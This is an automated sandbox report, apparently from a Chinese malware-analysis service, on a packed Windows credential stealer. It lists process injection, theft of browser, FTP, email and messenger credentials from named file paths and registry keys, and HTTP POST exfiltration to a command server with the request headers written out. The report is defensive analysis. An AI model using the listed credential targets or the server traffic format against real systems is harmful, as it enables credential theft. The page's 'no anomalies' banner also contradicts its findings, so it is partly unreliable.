SmartHawk

11.6

0-day

该样本未表现出任何异常！

重新分析

下载样本

6f50c600f53b85a60bde27afe5305968f221f92e40cb2e4e5b2c7f4b53fd9a31

7fdb659dd4635bc1037b63df08948ebc.exe

分析耗时

86s

最近分析

文件大小

690.0KB

静态报毒动态报毒 PUTTY

未检测暂无鹰眼引擎检测结果

未检测暂无反病毒引擎检测结果

Queries for the computername (3 个事件)

Time & API	Arguments	Status	Return
1619721305.953625 GetComputerNameW	computer_name: OSKAR-PC	success	1
1619721308.578625 GetComputerNameW	computer_name: OSKAR-PC	success	1
1619721309.156625 GetComputerNameW	computer_name: OSKAR-PC	success	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 个事件)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Tries to locate where the browsers are installed (1 个事件)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1619685992.56275 GlobalMemoryStatusEx		success	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 个事件)

section	CODE
section	DATA
section	BSS

The executable uses a known packer (1 个事件)

packer

BobSoft Mini Delphi -> BoB / BobSoft

One or more processes crashed (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1619685992.42175 __exception__	stacktrace: BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5 registers.esp: 51707712 registers.edi: 0 registers.eax: 0 registers.ebp: 51707784 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 1950559753 exception.instruction_r: f7 f0 33 c0 5a 59 59 64 89 10 eb 5b e9 10 17 f9 exception.symbol: 7fdb659dd4635bc1037b63df08948ebc+0x71ec3 exception.instruction: div eax exception.module: 7fdb659dd4635bc1037b63df08948ebc.exe exception.exception_code: 0xc0000094 exception.offset: 466627 exception.address: 0x471ec3	success	0	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 个事件)

suspicious_features

POST method with no referer header, HTTP version 1.0 used

suspicious_request

POST http://rnarport.com/divide/five/fre.php

Performs some HTTP requests (1 个事件)

request

POST http://rnarport.com/divide/five/fre.php

Sends data using the HTTP POST Method (1 个事件)

request

POST http://rnarport.com/divide/five/fre.php

Allocates read-write-execute memory (usually to unpack itself) (3 个事件)

Time & API	Arguments	Status
1619685991.99975 NtAllocateVirtualMemory	process_identifier: 2760 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) process_handle: 0xffffffff allocation_type: 4096 (MEM_COMMIT) base_address: 0x003f0000	success
1619685992.42175 NtAllocateVirtualMemory	process_identifier: 2760 region_size: 45056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) process_handle: 0xffffffff allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) base_address: 0x01e40000	success
1619685992.42175 NtAllocateVirtualMemory	process_identifier: 2760 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) process_handle: 0xffffffff allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) base_address: 0x01ff0000	success

Steals private information from local Internet browsers (19 个事件)

file	C:\Users\Administrator.Oskar-PC\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Web Data
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\Opera\Opera Next\data\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\Opera\Opera Next\data\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Chromium\User Data\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Chromium\User Data\Default\Web Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Web Data
file	C:\Users\Administrator.Oskar-PC\AppData\LocalMapleStudio\ChromePlus\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\LocalMapleStudio\ChromePlus\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Nichrome\User Data\Default\Web Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Nichrome\User Data\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\RockMelt\User Data\Default\Web Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\RockMelt\User Data\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Yandex\YandexBrowser\User Data\Default\Web Data
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\SeaMonkey
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox

Moves the original executable to a new location (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1619721309.109625 MoveFileWithProgressW	oldfilepath: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\7fdb659dd4635bc1037b63df08948ebc.exe newfilepath: C:\Users\Administrator.Oskar-PC\AppData\Roaming\6ED2B0\0019EA.exe newfilepath_r: C:\Users\Administrator.Oskar-PC\AppData\Roaming\6ED2B0\0019EA.exe flags: 1 oldfilepath_r: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\7fdb659dd4635bc1037b63df08948ebc.exe	success	1	0

The binary likely contains encrypted or compressed data indicative of a packer (3 个事件)

entropy

7.502487179934397

section

{'size_of_data': '0x0000ba00', 'virtual_address': '0x00073000', 'entropy': 7.502487179934397, 'name': 'DATA', 'virtual_size': '0x0000b9ec'}

description

A section with a high entropy has been found

entropy

7.194260871099589

section

{'size_of_data': '0x00025000', 'virtual_address': '0x0008d000', 'entropy': 7.194260871099589, 'name': '.rsrc', 'virtual_size': '0x00024f8c'}

description

A section with a high entropy has been found

entropy

0.2822931785195936

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1619721308.500625 LookupPrivilegeValueW	system_name: privilege_name: SeDebugPrivilege	success	1	0

Communicates with host for which no DNS query was performed (1 个事件)

host

172.217.24.14

Harvests credentials from local FTP client softwares (22 个事件)

file	C:\Program Files (x86)\FTPGetter\Profile\servers.xml
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\FTPGetter\servers.xml
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\wcx_ftp.ini
file	C:\Windows\wcx_ftp.ini
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\GHISLER\wcx_ftp.ini
file	C:\Users\Administrator.Oskar-PC\wcx_ftp.ini
file	C:\Windows\32BitFtp.ini
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Program Files (x86)\FileZilla\Filezilla.xml
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\FileZilla\filezilla.xml
file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\FileZilla\recentservers.xml
registry	HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts
registry	HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
registry	HKEY_CURRENT_USER\Software\Ghisler\Total Commander
registry	HKEY_CURRENT_USER\Software\VanDyke\SecureFX
registry	HKEY_CURRENT_USER\Software\LinasFTP\Site Manager
registry	HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
registry	HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
registry	HKEY_LOCAL_MACHINE\Software\SimonTatham\PuTTY\Sessions
registry	HKEY_CURRENT_USER\Software\Martin Prikryl
registry	HKEY_LOCAL_MACHINE\Software\Martin Prikryl

Harvests information related to installed instant messenger clients (1 个事件)

file	C:\Users\Administrator.Oskar-PC\AppData\Roaming\.purple\accounts.xml

Harvests credentials from local email clients (3 个事件)

registry	HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird
registry	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 个事件)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2760 called NtSetContextThread to modify thread in remote process 2340
1619685992.53075 NtSetContextThread	thread_handle: 0x00000110 registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4274654 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 process_identifier: 2340	success	0	0

Putty Files, Registry Keys and/or Mutexes Detected

Resumed a suspended thread in a remote process potentially indicative of process injection (2 个事件)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2760 resumed a thread in remote process 2340
1619685992.64075 NtResumeThread	thread_handle: 0x00000110 suspend_count: 1 process_identifier: 2340	success	0	0

Executed a process and injected code into it, probably while unpacking (7 个事件)

Time & API	Arguments	Status	Return
1619685992.49975 CreateProcessInternalW	thread_identifier: 2456 thread_handle: 0x00000110 process_identifier: 2340 current_directory: filepath: track: 1 command_line: "C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\7fdb659dd4635bc1037b63df08948ebc.exe" filepath_r: stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) process_handle: 0x00000114 inherit_handles: 0	success	1
1619685992.51575 NtUnmapViewOfSection	process_identifier: 2340 region_size: 4096 process_handle: 0x00000114 base_address: 0x00400000	success	0
1619685992.51575 NtMapViewOfSection	section_handle: 0x00000118 process_identifier: 2340 commit_size: 663552 win32_protect: 64 (PAGE_EXECUTE_READWRITE) buffer: process_handle: 0x00000114 allocation_type: 0 () section_offset: 0 view_size: 663552 base_address: 0x00400000	success	0
1619685992.53075 NtGetContextThread	thread_handle: 0x00000110	success	0
1619685992.53075 NtSetContextThread	thread_handle: 0x00000110 registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4274654 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 process_identifier: 2340	success	0
1619685992.64075 NtResumeThread	thread_handle: 0x00000110 suspend_count: 1 process_identifier: 2340	success	0
1619721303.187625 NtResumeThread	thread_handle: 0x00000110 suspend_count: 1 process_identifier: 2340	success	0

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (2 个事件)

dead_host	172.217.24.14:443
dead_host	172.217.27.142:443

暂无二进制图像该样本未生成二进制可视化图像

暂无运行截图该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析

⚡ 行为特征

🛡️ 防护建议

🔧 技术手段

🎯 检测方法

🤖

Static Analysis
Strings

PE Compile Time

1992-06-20 06:22:17

Imports

Library kernel32.dll:

• 0x480168 DeleteCriticalSection

• 0x48016c LeaveCriticalSection

• 0x480170 EnterCriticalSection

• 0x480174 InitializeCriticalSection

• 0x480178 VirtualFree

• 0x48017c VirtualAlloc

• 0x480180 LocalFree

• 0x480184 LocalAlloc

• 0x480188 GetVersion

• 0x48018c GetCurrentThreadId

• 0x480190 InterlockedDecrement

• 0x480194 InterlockedIncrement

• 0x480198 VirtualQuery

• 0x48019c WideCharToMultiByte

• 0x4801a0 MultiByteToWideChar

• 0x4801a4 lstrlenA

• 0x4801a8 lstrcpynA

• 0x4801ac LoadLibraryExA

• 0x4801b0 GetThreadLocale

• 0x4801b4 GetStartupInfoA

• 0x4801b8 GetProcAddress

• 0x4801bc GetModuleHandleA

• 0x4801c0 GetModuleFileNameA

• 0x4801c4 GetLocaleInfoA

• 0x4801c8 GetCommandLineA

• 0x4801cc FreeLibrary

• 0x4801d0 FindFirstFileA

• 0x4801d4 FindClose

• 0x4801d8 ExitProcess

• 0x4801dc ExitThread

• 0x4801e0 CreateThread

• 0x4801e4 WriteFile

• 0x4801e8 UnhandledExceptionFilter

• 0x4801ec RtlUnwind

• 0x4801f0 RaiseException

• 0x4801f4 GetStdHandle

Library user32.dll:

• 0x4801fc GetKeyboardType

• 0x480200 LoadStringA

• 0x480204 MessageBoxA

• 0x480208 CharNextA

Library advapi32.dll:

• 0x480210 RegQueryValueExA

• 0x480214 RegOpenKeyExA

• 0x480218 RegCloseKey

Library oleaut32.dll:

• 0x480220 SysFreeString

• 0x480224 SysReAllocStringLen

• 0x480228 SysAllocStringLen

Library kernel32.dll:

• 0x480230 TlsSetValue

• 0x480234 TlsGetValue

• 0x480238 LocalAlloc

• 0x48023c GetModuleHandleA

Library advapi32.dll:

• 0x480244 RegQueryValueExA

• 0x480248 RegOpenKeyExA

• 0x48024c RegCloseKey

Library kernel32.dll:

• 0x480254 lstrlenA

• 0x480258 lstrcpyA

• 0x48025c lstrcmpA

• 0x480260 WriteFile

• 0x480264 WaitForSingleObject

• 0x480268 WaitForMultipleObjects

• 0x48026c VirtualQuery

• 0x480270 VirtualAlloc

• 0x480274 Sleep

• 0x480278 SizeofResource

• 0x48027c SetThreadLocale

• 0x480280 SetFilePointer

• 0x480284 SetEvent

• 0x480288 SetErrorMode

• 0x48028c SetEndOfFile

• 0x480290 SetCurrentDirectoryA

• 0x480294 ResumeThread

• 0x480298 ResetEvent

• 0x48029c ReleaseMutex

• 0x4802a0 ReadFile

• 0x4802a4 MultiByteToWideChar

• 0x4802a8 MulDiv

• 0x4802ac LockResource

• 0x4802b0 LoadResource

• 0x4802b4 LoadLibraryA

• 0x4802b8 LeaveCriticalSection

• 0x4802bc InitializeCriticalSection

• 0x4802c0 GlobalUnlock

• 0x4802c4 GlobalReAlloc

• 0x4802c8 GlobalHandle

• 0x4802cc GlobalLock

• 0x4802d0 GlobalFree

• 0x4802d4 GlobalFindAtomA

• 0x4802d8 GlobalDeleteAtom

• 0x4802dc GlobalAlloc

• 0x4802e0 GlobalAddAtomA

• 0x4802e4 GetVersionExA

• 0x4802e8 GetVersion

• 0x4802ec GetTickCount

• 0x4802f0 GetThreadLocale

• 0x4802f4 GetSystemTimeAsFileTime

• 0x4802f8 GetSystemTime

• 0x4802fc GetSystemInfo

• 0x480300 GetStringTypeExA

• 0x480304 GetStdHandle

• 0x480308 GetProcAddress

• 0x48030c GetModuleHandleA

• 0x480310 GetModuleFileNameA

• 0x480314 GetLocaleInfoA

• 0x480318 GetLocalTime

• 0x48031c GetLastError

• 0x480320 GetFullPathNameA

• 0x480324 GetExitCodeThread

• 0x480328 GetDiskFreeSpaceA

• 0x48032c GetDateFormatA

• 0x480330 GetCurrentThreadId

• 0x480334 GetCurrentProcessId

• 0x480338 GetCurrentDirectoryA

• 0x48033c GetCPInfo

• 0x480340 GetACP

• 0x480344 FreeResource

• 0x480348 InterlockedIncrement

• 0x48034c InterlockedExchange

• 0x480350 InterlockedDecrement

• 0x480354 FreeLibrary

• 0x480358 FormatMessageA

• 0x48035c FindResourceA

• 0x480360 FindNextChangeNotification

• 0x480364 FindFirstFileA

• 0x480368 FindFirstChangeNotificationA

• 0x48036c FindCloseChangeNotification

• 0x480370 FindClose

• 0x480374 FileTimeToSystemTime

• 0x480378 FileTimeToLocalFileTime

• 0x48037c FileTimeToDosDateTime

• 0x480380 ExitThread

• 0x480384 EnumCalendarInfoA

• 0x480388 EnterCriticalSection

• 0x48038c DeleteCriticalSection

• 0x480390 CreateThread

• 0x480394 CreateMutexA

• 0x480398 CreateFileA

• 0x48039c CreateEventA

• 0x4803a0 CompareStringA

• 0x4803a4 CloseHandle

Library version.dll:

• 0x4803ac VerQueryValueA

• 0x4803b0 GetFileVersionInfoSizeA

• 0x4803b4 GetFileVersionInfoA

Library gdi32.dll:

• 0x4803bc UnrealizeObject

• 0x4803c0 StretchBlt

• 0x4803c4 SetWindowOrgEx

• 0x4803c8 SetViewportOrgEx

• 0x4803cc SetTextColor

• 0x4803d0 SetStretchBltMode

• 0x4803d4 SetROP2

• 0x4803d8 SetPixel

• 0x4803dc SetDIBColorTable

• 0x4803e0 SetBrushOrgEx

• 0x4803e4 SetBkMode

• 0x4803e8 SetBkColor

• 0x4803ec SelectPalette

• 0x4803f0 SelectObject

• 0x4803f4 SelectClipRgn

• 0x4803f8 SaveDC

• 0x4803fc RestoreDC

• 0x480400 Rectangle

• 0x480404 RectVisible

• 0x480408 RealizePalette

• 0x48040c Polyline

• 0x480410 PatBlt

• 0x480414 MoveToEx

• 0x480418 MaskBlt

• 0x48041c LineTo

• 0x480420 IntersectClipRect

• 0x480424 GetWindowOrgEx

• 0x480428 GetTextMetricsA

• 0x48042c GetTextExtentPoint32A

• 0x480430 GetSystemPaletteEntries

• 0x480434 GetStockObject

• 0x480438 GetPixel

• 0x48043c GetPaletteEntries

• 0x480440 GetObjectA

• 0x480444 GetDeviceCaps

• 0x480448 GetDIBits

• 0x48044c GetDIBColorTable

• 0x480450 GetDCOrgEx

• 0x480454 GetCurrentPositionEx

• 0x480458 GetClipBox

• 0x48045c GetBrushOrgEx

• 0x480460 GetBitmapBits

• 0x480464 GetArcDirection

• 0x480468 ExtTextOutA

• 0x48046c ExcludeClipRect

• 0x480470 DeleteObject

• 0x480474 DeleteDC

• 0x480478 CreateSolidBrush

• 0x48047c CreatePenIndirect

• 0x480480 CreatePalette

• 0x480484 CreateHalftonePalette

• 0x480488 CreateFontIndirectA

• 0x48048c CreateDIBitmap

• 0x480490 CreateDIBSection

• 0x480494 CreateCompatibleDC

• 0x480498 CreateCompatibleBitmap

• 0x48049c CreateBrushIndirect

• 0x4804a0 CreateBitmap

• 0x4804a4 BitBlt

Library user32.dll:

• 0x4804ac CreateWindowExA

• 0x4804b0 WindowFromPoint

• 0x4804b4 WinHelpA

• 0x4804b8 WaitMessage

• 0x4804bc UpdateWindow

• 0x4804c0 UnregisterClassA

• 0x4804c4 UnhookWindowsHookEx

• 0x4804c8 TranslateMessage

• 0x4804cc TranslateMDISysAccel

• 0x4804d0 TrackPopupMenu

• 0x4804d4 SystemParametersInfoA

• 0x4804d8 ShowWindow

• 0x4804dc ShowScrollBar

• 0x4804e0 ShowOwnedPopups

• 0x4804e4 ShowCursor

• 0x4804e8 SetWindowsHookExA

• 0x4804ec SetWindowTextA

• 0x4804f0 SetWindowPos

• 0x4804f4 SetWindowPlacement

• 0x4804f8 SetWindowLongA

• 0x4804fc SetTimer

• 0x480500 SetScrollRange

• 0x480504 SetScrollPos

• 0x480508 SetScrollInfo

• 0x48050c SetRect

• 0x480510 SetPropA

• 0x480514 SetParent

• 0x480518 SetMenuItemInfoA

• 0x48051c SetMenu

• 0x480520 SetForegroundWindow

• 0x480524 SetFocus

• 0x480528 SetCursor

• 0x48052c SetClassLongA

• 0x480530 SetCapture

• 0x480534 SetActiveWindow

• 0x480538 SendMessageA

• 0x48053c ScrollWindow

• 0x480540 ScreenToClient

• 0x480544 RemovePropA

• 0x480548 RemoveMenu

• 0x48054c ReleaseDC

• 0x480550 ReleaseCapture

• 0x480554 RegisterWindowMessageA

• 0x480558 RegisterClipboardFormatA

• 0x48055c RegisterClassA

• 0x480560 RedrawWindow

• 0x480564 PtInRect

• 0x480568 PostQuitMessage

• 0x48056c PostMessageA

• 0x480570 PeekMessageA

• 0x480574 OffsetRect

• 0x480578 OemToCharA

• 0x48057c MsgWaitForMultipleObjects

• 0x480580 MessageBoxA

• 0x480584 MapWindowPoints

• 0x480588 MapVirtualKeyA

• 0x48058c LoadStringA

• 0x480590 LoadKeyboardLayoutA

• 0x480594 LoadIconA

• 0x480598 LoadCursorA

• 0x48059c LoadBitmapA

• 0x4805a0 KillTimer

• 0x4805a4 IsZoomed

• 0x4805a8 IsWindowVisible

• 0x4805ac IsWindowEnabled

• 0x4805b0 IsWindow

• 0x4805b4 IsRectEmpty

• 0x4805b8 IsIconic

• 0x4805bc IsDialogMessageA

• 0x4805c0 IsChild

• 0x4805c4 InvalidateRect

• 0x4805c8 IntersectRect

• 0x4805cc InsertMenuItemA

• 0x4805d0 InsertMenuA

• 0x4805d4 InflateRect

• 0x4805d8 GetWindowThreadProcessId

• 0x4805dc GetWindowTextA

• 0x4805e0 GetWindowRect

• 0x4805e4 GetWindowPlacement

• 0x4805e8 GetWindowLongA

• 0x4805ec GetWindowDC

• 0x4805f0 GetTopWindow

• 0x4805f4 GetSystemMetrics

• 0x4805f8 GetSystemMenu

• 0x4805fc GetSysColorBrush

• 0x480600 GetSysColor

• 0x480604 GetSubMenu

• 0x480608 GetScrollRange

• 0x48060c GetScrollPos

• 0x480610 GetScrollInfo

• 0x480614 GetPropA

• 0x480618 GetParent

• 0x48061c GetWindow

• 0x480620 GetMessagePos

• 0x480624 GetMenuStringA

• 0x480628 GetMenuState

• 0x48062c GetMenuItemInfoA

• 0x480630 GetMenuItemID

• 0x480634 GetMenuItemCount

• 0x480638 GetMenu

• 0x48063c GetLastActivePopup

• 0x480640 GetKeyboardState

• 0x480644 GetKeyboardLayoutList

• 0x480648 GetKeyboardLayout

• 0x48064c GetKeyState

• 0x480650 GetKeyNameTextA

• 0x480654 GetIconInfo

• 0x480658 GetForegroundWindow

• 0x48065c GetFocus

• 0x480660 GetDesktopWindow

• 0x480664 GetDCEx

• 0x480668 GetDC

• 0x48066c GetCursorPos

• 0x480670 GetCursor

• 0x480674 GetClientRect

• 0x480678 GetClassNameA

• 0x48067c GetClassInfoA

• 0x480680 GetCapture

• 0x480684 GetActiveWindow

• 0x480688 FrameRect

• 0x48068c FindWindowA

• 0x480690 FillRect

• 0x480694 EqualRect

• 0x480698 EnumWindows

• 0x48069c EnumThreadWindows

• 0x4806a0 EndPaint

• 0x4806a4 EndDeferWindowPos

• 0x4806a8 EnableWindow

• 0x4806ac EnableScrollBar

• 0x4806b0 EnableMenuItem

• 0x4806b4 DrawTextA

• 0x4806b8 DrawMenuBar

• 0x4806bc DrawIconEx

• 0x4806c0 DrawIcon

• 0x4806c4 DrawFrameControl

• 0x4806c8 DrawEdge

• 0x4806cc DispatchMessageA

• 0x4806d0 DestroyWindow

• 0x4806d4 DestroyMenu

• 0x4806d8 DestroyIcon

• 0x4806dc DestroyCursor

• 0x4806e0 DeleteMenu

• 0x4806e4 DeferWindowPos

• 0x4806e8 DefWindowProcA

• 0x4806ec DefMDIChildProcA

• 0x4806f0 DefFrameProcA

• 0x4806f4 CreatePopupMenu

• 0x4806f8 CreateMenu

• 0x4806fc CreateIcon

• 0x480700 ClientToScreen

• 0x480704 ChildWindowFromPoint

• 0x480708 CheckMenuItem

• 0x48070c CallWindowProcA

• 0x480710 CallNextHookEx

• 0x480714 BeginPaint

• 0x480718 BeginDeferWindowPos

• 0x48071c CharNextA

• 0x480720 CharLowerA

• 0x480724 CharUpperBuffA

• 0x480728 CharToOemA

• 0x48072c AdjustWindowRectEx

• 0x480730 ActivateKeyboardLayout

Library kernel32.dll:

• 0x480738 Sleep

Library oleaut32.dll:

• 0x480740 SafeArrayPtrOfIndex

• 0x480744 SafeArrayGetUBound

• 0x480748 SafeArrayGetLBound

• 0x48074c SafeArrayCreate

• 0x480750 VariantChangeType

• 0x480754 VariantCopy

• 0x480758 VariantClear

• 0x48075c VariantInit

Library ole32.dll:

• 0x480764 OleUninitialize

• 0x480768 OleInitialize

• 0x48076c CoTaskMemAlloc

• 0x480770 CoCreateInstance

• 0x480774 CoUninitialize

• 0x480778 CoInitialize

Library oleaut32.dll:

• 0x480780 GetErrorInfo

• 0x480784 SysFreeString

Library comctl32.dll:

• 0x48078c ImageList_SetIconSize

• 0x480790 ImageList_GetIconSize

• 0x480794 ImageList_Write

• 0x480798 ImageList_Read

• 0x48079c ImageList_GetDragImage

• 0x4807a0 ImageList_DragShowNolock

• 0x4807a4 ImageList_SetDragCursorImage

• 0x4807a8 ImageList_DragMove

• 0x4807ac ImageList_DragLeave

• 0x4807b0 ImageList_DragEnter

• 0x4807b4 ImageList_EndDrag

• 0x4807b8 ImageList_BeginDrag

• 0x4807bc ImageList_Remove

• 0x4807c0 ImageList_DrawEx

• 0x4807c4 ImageList_Draw

• 0x4807c8 ImageList_GetBkColor

• 0x4807cc ImageList_SetBkColor

• 0x4807d0 ImageList_ReplaceIcon

• 0x4807d4 ImageList_Add

• 0x4807d8 ImageList_GetImageCount

• 0x4807dc ImageList_Destroy

• 0x4807e0 ImageList_Create

• 0x4807e4 InitCommonControls

Library shell32.dll:

• 0x4807ec ShellExecuteExA

• 0x4807f0 ShellExecuteA

• 0x4807f4 SHGetFileInfoA

Library shell32.dll:

• 0x4807fc SHGetSpecialFolderLocation

• 0x480800 SHGetMalloc

• 0x480804 SHGetDesktopFolder

Hosts

No hosts contacted.

DNS

Name	Response	Post-Analysis Lookup
time.windows.com	A 20.189.79.72 CNAME time.microsoft.akadns.net
dns.msftncsi.com	A 131.107.255.255	131.107.255.255
rnarport.com	A 204.11.56.48	204.11.56.48
clients2.google.com	A 172.217.160.78 CNAME clients.l.google.com A 172.217.27.142	172.217.160.78
dns.msftncsi.com	AAAA fd3e:4f5a:5b81::1	131.107.255.255
teredo.ipv6.microsoft.com		127.0.0.1

TCP

Source	Source Port	Destination	Destination Port
192.168.56.101	49179	204.11.56.48 rnarport.com	80
192.168.56.101	49181	204.11.56.48 rnarport.com	80
192.168.56.101	49182	204.11.56.48 rnarport.com	80

UDP

Source	Source Port	Destination	Destination Port
192.168.56.101	49235	114.114.114.114	53
192.168.56.101	49713	114.114.114.114	53
192.168.56.101	51963	114.114.114.114	53
192.168.56.101	53380	114.114.114.114	53
192.168.56.101	53657	114.114.114.114	53
192.168.56.101	55368	114.114.114.114	53
192.168.56.101	60215	114.114.114.114	53
192.168.56.101	137	192.168.56.255	137
192.168.56.101	138	192.168.56.255	138
192.168.56.101	123	20.189.79.72 time.windows.com	123
192.168.56.101	50002	224.0.0.252	5355
192.168.56.101	50534	224.0.0.252	5355
192.168.56.101	50568	224.0.0.252	5355
192.168.56.101	51808	224.0.0.252	5355
192.168.56.101	56539	224.0.0.252	5355
192.168.56.101	56804	224.0.0.252	5355
192.168.56.101	57236	224.0.0.252	5355
192.168.56.101	57756	224.0.0.252	5355
192.168.56.101	57874	224.0.0.252	5355
192.168.56.101	60123	224.0.0.252	5355

HTTP & HTTPS Requests

URI	Data
http://rnarport.com/divide/five/fre.php	POST /divide/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: rnarport.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F4F84A20 Content-Length: 196 Connection: close
http://rnarport.com/divide/five/fre.php	POST /divide/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: rnarport.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F4F84A20 Content-Length: 169 Connection: close

URI

Data

http://rnarport.com/divide/five/fre.php

POST /divide/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: rnarport.com
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: F4F84A20
Content-Length: 196
Connection: close

http://rnarport.com/divide/five/fre.php

POST /divide/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: rnarport.com
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: F4F84A20
Content-Length: 169
Connection: close

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.

Sorry! No dropped buffers.